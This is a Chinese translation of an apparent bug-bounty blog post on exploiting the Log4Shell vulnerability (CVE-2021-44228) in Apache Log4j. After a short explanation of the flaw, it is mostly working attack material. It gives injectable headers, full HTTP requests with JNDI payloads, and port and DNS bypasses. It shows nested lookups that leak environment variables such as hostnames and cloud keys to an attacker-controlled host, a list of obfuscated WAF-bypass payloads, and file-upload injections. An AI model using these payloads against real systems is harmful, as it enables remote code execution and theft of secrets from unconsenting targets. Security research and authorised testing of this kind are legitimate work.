Log4Shell 是一种针对 Log4J Apache 日志软件的注入式攻击,已经对全球数千家公司造成影响。
尽管各组织都在努力修补系统中的这一关键漏洞,但在 2025 年运行的一些网络服务仍然容易受到 Log4Shell 的攻击,这通常是由于遗留系统仍然依赖于易受攻击的版本、(隐藏的)依赖关系或不完整的修复措施。
本文将揭示 Log4Shell 的危害,并引导各位有效识别、利用和武器化它们的技术,同时还将探索需要绕过 WAF 的独特利用场景。
什么是 Log4Shell (Log4J)
Apache Log4j 是 Java 生态系统中部署最广泛的日志记录框架之一,由 Apache Software Foundation 开发,并广泛用于企业应用程序、Web 服务和其他类型的系统。
作为日志记录库,Log4j 使开发人员能够在任何应用程序类型中使用可配置的输出格式和目标来记录应用程序事件、调试信息和系统状态消息。
Log4Shell (CVE-2021-44228) 是 Apache Log4j(版本 2.0-beta9 到 2.14.1)中的一个严重远程代码执行漏洞。
该漏洞存在于 Log4j 的消息查找替换功能中,该功能处理日志消息中的特殊语法,以在运行时动态解析和替换值。因此可能会从任何地方识别出这个流行的Payloads:
核心问题在于 Log4J 对日志消息中 JNDI(Java 命名和目录接口)查找的处理。
当 Log4J 遇到包含 JNDI 查找语法的特制字符串时,它会自动尝试通过连接到外部服务器并从远程位置加载Java类来解析引用。
无论日志级别配置如何,这种行为都会发生,这意味着如果用户控制的数据到达日志框架,即使只记录 ERROR 或 FATAL 消息的应用程序也会受到攻击。
Log4Shell 的工作原理
漏洞利用 Log4J 以 ${protocol:address} 格式自动替换查找表达式,当 Log4J 处理包含恶意 JNDI 查找(如 ${jndi:ldap://intigriti-example/xyz}
)的日志消息时,将发生以下序列:
-
日志消息处理 :应用程序记录了一条包含恶意字符串的消息,无论是直接记录还是通过用户控制的输入记录
-
查找解析 :Log4J 的 PatternLayout 识别 ${} 语法并触发查找机制
-
JNDI 连接 :JNDI 子系统与查找字符串中指定的攻击者控制的服务器建立连接
-
类加载 :远程服务器对 Java 类的引用进行响应,Log4J 会自动下载该类并将其加载到应用程序的内存空间中
-
代码执行 :恶意类在易受攻击的应用程序的上下文中执行,授予攻击者与应用程序进程相同的权限
提示: JNDI 攻击早在 Log4Shell 攻击之前就已经存在,2016 年,研究人员 Alvaro Muñoz 和 Oleksandr Mirosh 在 BlackHat 的一次演讲中描述了 Log4Shell 的根本原因。
识别易受攻击的Log4J 目标
在我们主动发送任何 Log4Shell Payloads之前,我们需要查找基于 Java 的应用程序的指标。
搜索服务器响应标头,如 Apache-Coyote、Jetty 或其他自定义 Java 应用程序服务器 ,检查正在访问的应用程序路由的文件扩展名。
偶尔会发现 HTML 注释中包含对 Spring、Struts 或 JSF 等 Java 框架的引用,而这些框架通常都包含 Log4J,此外还可以使用 BuiltWith 和 Wappalyzer 等工具对网站技术进行指纹识别,不过这种方法也有其局限性。
一旦成功枚举出可能的目标,我们就需要寻找经常使用易受攻击软件记录日志的应用程序组件,任何记录用户可控数据的应用程序功能都是潜在的注入点,例如:
- 记录用户名和失败登录尝试的身份验证端点
- 分析服务记录user agents、referrer headers和请求参数
- 请求正文、标头和其它元数据的 API 端点
- 文件上传功能记录处理错误,包括文件名、文件大小和其他可能的文件元数据
- 错误处理中间件,记录异常详细信息(包括导致异常的用户输入)
- 记录系统事件的审计和合规性服务
之后,便可以在 HTTP 请求中更有可能被记录和处理的任何组件中发送Payloads,以下是一些可以尝试的请求header:
User-Agent
Referer
X-Original-URL
X-Host
X-Forwarded-For
X-Forwarded-Proto
X-Forwarded-Host
CF-Connecting-Ip # If target is behind Cloudflare
True-Client-Ip # If target is behind Cloudflare
Log4Shell Payloads 的 HTTP 请求示例
如果还不熟悉如何在请求中注入 Log4Shell,请查看以下示例:
POST /e/c?utm_source=%24%7Bjndi%3Aldap%3A%2F%2Fintigriti%2Dexample%3A1389%2Fpath%2Dto%2Djava%2Dclass%7D HTTP/1.1
Host: analytics.example.com
Content-Type: application/json
User-Agent: ${jndi:ldap://intigriti-example:1389/path-to-java-class}
X-Forwarded-For: ${jndi:ldap://intigriti-example:1389/path-to-java-class}
Content-Length: 248
{
"$event_type": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
"$event_name": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
"$event_time": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
...
}
友情提示:建议为每个请求注入一个Payloads,这样可以轻松跟踪可能的交互并找到易受攻击的请求。
使用这种方法,还可以轻松避免发送会被终端服务器拒绝的大量 HTTP 请求。
利用易受攻击的 Log4J 目标
要利用 Log4Shell (CVE-2021-44228),我们必须在应用程序组件中注入Payloads,这可能会使易受攻击的 Log4J 版本评估我们的Payloads并执行 JNDI 查找以尝试和加载 Java 类。
来看一个简单的例子。
接收基本 pingback
将以下Payloads发送到易受 Log4Shell 攻击的 Web 服务将进行 JNDI 查找。
如果另一端 (intigriti-example)由你控制,那么就会收到一个入站请求。
${jndi:ldap://intigriti-example:1337/existing-java-class}
在目标上,Log4J 日志记录框架将评估我们的Payloads以访问主机并尝试包含外部 Java 类,作为攻击者,实际上可以托管恶意的Java代码并实现远程代码执行。
绕过端口限制
然而现实并不总是那么简单,由于预设了主机安全策略,某些服务器默认无法建立出站连接。
在这种情况下,我们必须寻找绕过这些限制的方法,如果有可能绕过这些限制,那么连接端口(1-65535)、协议(UDP/TCP)或主机都会出现异常。
如果对网络端口设置了限制,我们可以简单地尝试另一个端口,比如端口 80、443、8080 和 8443 很可能在白名单中:
${jndi:ldap://intigriti-example:8080/existing-java-class}
通过 DNS 利用 Log4Shell
还有一些情况下,我们会注意到某些主机会阻止所有出站 TCP 连接。
为了绕过这一点,我们可以设置一个本地 DNS 服务器来监听传入的查询,一旦 OAST 服务器设置好,就可以发送以下Payloads:
${jndi:dns://intigriti-example/}
这种方法可能有助于绕过负载均衡或其它类型的反向代理服务器后面的易受攻击的应用程序。
通过嵌套的 JNDI 查找泄露数据
假设我们收到了一个 pingback,但无法将 Java 类与不良代码包含在一起,在这种情况下,可以尝试通过外向连接泄露敏感数据。
因此需要调整Payloads并使用内部 JNDI 查找,内部 JNDI 查找总是首先解析,可以利用它来读取环境或系统变量。
以下是使用嵌套 JNDI 查找的基本示例:
${jndi:dns://${env:HOST}.intigriti-example/}
Log4J 将首先解析内部 JNDI 查找:${env:HOST},此查找将获取 HOST 环境变量并将其添加到外部 JNDI 查找中,在这种情况下,它将作为 intigriti-example 的子域名添加。
接下来,Log4J 将解析对 <$HOST>.intigriti-example 进行 DNS 查询的最终查找,OAST 服务器将接收到此请求,从而能够读取 HOST 环境变量。
以下是一个所有可能查找类型的列表(根据环境而定):
${env:VARIABLE_NAME} # Gets environment variables (HOST, PATH, HOME, AWS keys, etc.)
${sys:property.name} # Gets Java system properties (user.name, java.version, etc.)
${ctx:key} # Gets values from Thread Context Map (MDC)
${map:key} # Gets values from event's context map
${hostName} # Gets the local hostname
${docker:containerId} # Gets Docker container ID (if running in a container)
${docker:containerName} # Gets Docker container name
${docker:imageName} # Gets Docker image name
${date:yyyy-MM-dd} # Gets current date in specified format
${date:HH:mm:ss} # Gets current time in specified format
${date:yyyy-MM-dd HH:mm:ss} # Gets current date and time
${lower:j} # Transforms character to lower case (useful for payload obfuscation and WAF bypasses)
更高级的利用案例
大多数组织已经针对上述常见Payloads部署了对策,让我们更深入地研究一些高级利用案例,以了解和制作新的 WAF 绕过方法。
通过混淆的 Log4Shell Payloads
当 Log4Shell 来袭时,各组织都试图给自己的系统打补丁,其中一些机构仅通过配置过滤器来阻止Payloads。
因此大多数 WAF 都被配置为使用正则模式和匹配Payloads字符串,以检测可能的 Log4Shell 攻击。
通过利用 Log4J 内置的字符串操作查找功能,我们可以绕过这些基本的检测机制:
${${lower:j}ndi:${lower:l}dap://intigriti-example/path-to-java-class}
${${upper:j}NDI:${upper:l}DAP://INTIGRITI-EXAMPLE/PATH-TO-JAVA-CLASS}
${j${lower:n}di:l${lower:d}ap://intigriti-example/path-to-java-class}
${${lower:jndi}:${lower:ldap}://intigriti-example/path-to-java-class}
正如我们之前记录的那样,Log4J 会先处理内部查找(例如,${lower:j} 变成 j),然后构建最终的 JNDI 字符串,绕过 WAF 弱规则和只查找字面 jndi:ldap 模式的过滤器。
再来看一些使用高级混淆技术的更高价 Payloads:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://intigriti-example/path-to-java-class}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://intigriti-example/path-to-java-class}
${j${env:EMPTY:-}ndi:l${env:EMPTY:-}dap://intigriti-example/path-to-java-class}
${jn${env::-}di:l${env::-}dap://intigriti-example/path-to-java-class}
${${date:j}ndi:ldap://intigriti-example/path-to-java-class}
${jndi:${sys:line.separator}ldap://intigriti-example/path-to-java-class}
通过文件上传的 Log4Shell
在请求标头和参数中注入Payloads并不是测试 Log4Shell 的唯一方法。
文件上传也是测试 CVE-2021-44228 的一种可行方法,例如,最直接的方法之一是将Log4Shell Payloads直接嵌入到上传的文件名中:
POST /api/my-files/upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="${jndi:ldap://intigriti-example/path-to-java-class}.pdf"
Content-Type: application/pdf
<PDF file content here>
------WebKitFormBoundary--
许多应用程序会记录包括文件名在内的上传活动,以用于审计、安全监控或调试。
当文件名、文件内容或包含 JNDI 查询的文件元数据被记录时,Log4J 就会对其进行处理并触发漏洞,PDF 或其它类型的结构化文件对 Log4Shell 的利用也特别有效,因为处理库在遇到畸形内容时通常会记录错误和警告。
例如,如果被允许上传 SVG、Excel 或 Word 文档,请尝试在 Log4Shell 上传时故意上传格式错误的文档,并监控 OAST 服务器是否有传入的调用:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<text>INTIGRITI Log4Shell PoC</text>
</svg_${jndi:ldap://intigriti-example/path-to-java-class}>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Error at line 3: Tag "svg_${jndi:ldap://intigriti-example/path-to-java-class}" is an invalid name.
希望本文能对你有所启发~
原文:https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-log4shell-log4j